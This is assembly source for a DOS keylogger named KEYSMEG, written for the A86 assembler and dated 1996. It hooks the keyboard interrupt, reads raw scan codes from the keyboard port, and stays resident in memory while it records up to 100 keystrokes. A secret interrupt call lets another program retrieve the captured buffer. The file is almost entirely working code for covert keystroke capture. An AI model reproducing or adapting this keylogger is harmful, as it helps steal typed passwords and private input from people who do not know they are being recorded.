; KEYSMEG.8 - For A86 Assmebler ; (c) 1996 - E-mail: shawkie@geocities.com ; This program hooks Interrupt 09h - Keyboard Data Ready and saves key scan ; codes in a 100 character buffer. ; Once the buffer is full, no more characters are saved until an external ; program sets BUFLEN to 0000. To find the address of BUFLEN do: ; MOV AX,0CAFFh ; INT 09h ; The address is returned as ES:BX (The address of BUFFER is ES:BX+2) ; Most break codes are not saved. MAIN: MOV BX,BUFLEN MOV W[BX],0000h ;Zero BUFLEN MOV AX,3509h INT 21h ;Get address of old handler MOV DI,O_OLDI MOV [DI+2],ES MOV [DI],BX ;Save it! MOV AX,2509h MOV DX,NEWINT INT 21h ;Set new handler MOV DX,2Ch ;Keep 2Ch paragraphs resident MOV AH,31h INT 21h ;Teminate and stay resident NEWINT: PUSHF ;New handler CMP AX,0CAFFh JE DUMP ;Prepare to dump scan codes PUSHA PUSH DS MOV DS,CS IN AL,60h ;Read scan code from keyboard port CMP AL,057h JB USEKEY ;Make code CMP AL,0AAh JE USEKEY ;{Left Shift} break code CMP AL,0B6h JE USEKEY ;{Right Shift} break code CMP AL,0B8h JE USEKEY ;{Alt} break code CMP AL,0E0h JE USEKEY ;{Num Pad Key Prefix} JMP QUIT ;Ignore USEKEY: MOV BX,BUFLEN CMP W[BX],63h JA QUIT ;Buffer full MOV DI,W[BX] ADD DI,BUFFER MOV [DI],AL ;Add scancode to buffer INC W[BX] ;Increment BUFLEN MOV AX,W[BX] QUIT: POP DS POPA POPF ;Restore registers + flags CS: JMP D[O_OLDI] ;Jump to old handler DUMP: PUSH DS MOV DS,CS MOV BX,BUFLEN ;Set BX as offset MOV ES,CS ;Set ES as segment POP DS POPF ;Restore registers + flags IRET O_OLDI: DW ?,? ;Old handler BUFLEN: DW ? ;Bytes written to buffer BUFFER: DB 102 ? ;Buffer